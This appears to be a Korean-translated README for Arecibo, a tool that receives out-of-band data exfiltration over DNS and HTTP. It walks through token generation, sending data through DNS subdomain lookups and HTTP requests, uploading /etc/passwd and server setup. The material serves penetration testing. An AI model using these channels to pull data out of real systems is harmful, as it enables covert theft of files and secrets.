
대역외 유출(DNS 및 HTTP)을 위한 엔드포인트
대역 외 유출을 위한 엔드포인트 (DNS 및 HTTP)
Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)
새로운 토큰 생성:
curl localhost:5000/generatedns
{"htoken": "c008b5dd22817c50441522f917c66743"}
이제 이 식별 토큰을 사용하여 DNS 조회를 수행할 수 있습니다 (ABCD.TOKEN.x.yourdomain.com):
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: DOMINIO
Address: 127.0.0.1
/hitsdns/TOKEN 을 통해 히트 및 유출된 데이터를 확인할 수 있습니다:
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743
{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]}
모든 데이터를 연결하여 보려면 /dumpdns/token 을 사용하세요:
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743
{"dump": "test-exfiltracionconcatenatedtootherinfo"}
토큰 생성:
curl localhost:5000/generatehttp
{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}
이제 HTTP 요청을 통해 정보를 유출할 수 있습니다 ( http://yourodmain.com/h/TOKEN). GET / POST 매개변수, 헤더 및 IP가 Arecibo에 기록됩니다.
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!
정보를 검색하려면 /hitshttp/TOKEN 을 사용하세요:
curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}
임의의 HTML, 헤더 또는 상태 코드를 표시해야 하는 경우 POST 메서드를 사용하여 값을 설정하세요 (본문은 base64로 인코딩되어야 함):
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
"htoken": "324e18288eed54548392c5a65514b3dc"
}
Arecibo는 스키마 X.Y.Z.A.ip.yourdomain.com 을 X.Y.Z.A 로 확인합니다:
> 10.0.0.1.ip.yourdomain.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: yourdomain.com
Address: 10.0.0.1
/upload 엔드포인트를 사용하여 파일 업로드:
curl localhost:5000/upload -F 'x-file=@/etc/passwd'
{"htoken": "36981274bdb9cc833472681caeb82337"}
생성된 토큰을 사용하여 다운로드:
curl localhost:5000/download/36981274bdb9cc833472681caeb82337
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
/ip 를 통해 클라이언트 IP 표시:
curl localhost:5000/ip
{"ip": "127.0.0.1"}
배포판 리포지토리에서 pdns 및 pdns-backend-pipe를 설치하고, python용 모듈 flask 및 flask_restful을 설치해야 합니다.
chmod +x arecibo-dns-backend.pysetuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py
(API 스크립트를 실행하는 데 사용된 값으로 setuid/setgid 변경, 동일해야 함)
서버는 도메인에 대한 권한 있는 DNS로 구성되어야 합니다
중요: 인증 및 보안을 제공하기 위해 nginx 또는 다른 리버스 프록시를 Arecibo 앞에 설정해야 합니다.